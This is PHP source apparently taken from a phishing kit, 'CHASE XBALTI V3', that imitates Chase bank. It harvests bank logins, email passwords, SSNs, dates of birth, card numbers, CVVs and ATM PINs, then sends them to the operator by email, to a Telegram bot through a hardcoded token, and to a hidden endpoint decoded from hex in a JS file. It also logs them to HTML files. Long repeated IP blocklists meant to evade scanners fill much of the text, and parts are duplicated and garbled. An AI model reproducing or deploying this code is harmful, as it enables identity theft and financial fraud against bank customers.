    $XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
	$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
    @mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
	}
	
	

	$data = [
	    'chat_id' => '@antibotencrypt',
	    'text' => $XBALTI_MESSAGE
	];

	 //"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"               "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"    "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"//                                                                                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

}
if(isset($_POST['cardnu']) && isset($_POST['expda']) && isset($_POST['cvv']) && isset($_POST['pin'])){	
	if(!empty($_POST['cardnu']) && !empty($_POST['expda']) && !empty($_POST['cvv']) && !empty($_POST['pin'])){
$_SESSION['cardnu']   = $_POST['cardnu'];
$_SESSION['expda']    = $_POST['expda'];
$_SESSION['cvv']    = $_POST['cvv'];
$_SESSION['pin']    = $_POST['pin'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	    : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	    : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||SSN/MMN/DOB INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "SSN      	: ".$_SESSION['ssnnum']."<br>\n";
$XBALTI_MESSAGE .= "MMN      	: ".$_SESSION['mdn']."<br>\n";
$XBALTI_MESSAGE .= "DOB     	: ".$_SESSION['dob']."<br>\n";
$XBALTI_MESSAGE .= "==============||CARD INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "CARD NUMBER : ".$_SESSION['cardnu']."<br>\n";
$XBALTI_MESSAGE .= "EXP DATE 	: ".$_SESSION['expda']."<br>\n";
$XBALTI_MESSAGE .= "CVV     	: ".$_SESSION['cvv']."<br>\n";
$XBALTI_MESSAGE .= "ATM PIN   	: ".$_SESSION['pin']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
                          <td>
                            ".$_SESSION['userid']."
                          </td>
                          <td>
                            ".$_SESSION['passid']."
                          </td>
						  <td>
                            ".$_SESSION['email']."
                          </td>
                          <td>
                            ".$_SESSION['password']."
                          </td>
						  <td>
                            ".$_SESSION['email1']."
                          </td>
                          <td>
                            ".$_SESSION['password1']."
                          </td>
						  <td>
                            ".$_SESSION['ssnnum']."
                          </td>
						  <td>
                            ".$_SESSION['mdn']."
                          </td>
						  <td>
                            ".$_SESSION['dob']."
                          </td>
						  <td>
                            ".$_SESSION['cardnu']."
                          </td>
						  <td>
                            ".$_SESSION['expda']."
                          </td>
						  <td>
                            ".$_SESSION['cvv']."
                          </td>
						  <td>
                            ".$_SESSION['pin']."
                          </td>
                          <td>
                            ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
                          </td>
                          <td>
						  {".$_SESSION['_ip_']."}
                          </td>
						  <td>
                            ".$TIME_DATE."
                          </td>
                        </tr>\n";
    $khraha = fopen("../rz/cards".$yourname.".html", "a");
	fwrite($khraha, $XBALTI_ADMIN);
	$xx .= "{}\n";
    $khraha = fopen("../rz/cards.html", "a");
	fwrite($khraha, $xx);
    $XBALTI_SUBJECT .= "CARD 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
    $XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
    $XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
    $XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
	$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
    @mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
	}
	
	

	$data = [
	    'chat_id' => '@antibotencrypt',
	    'text' => $XBALTI_MESSAGE
	];

	 //"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"               "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"    "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     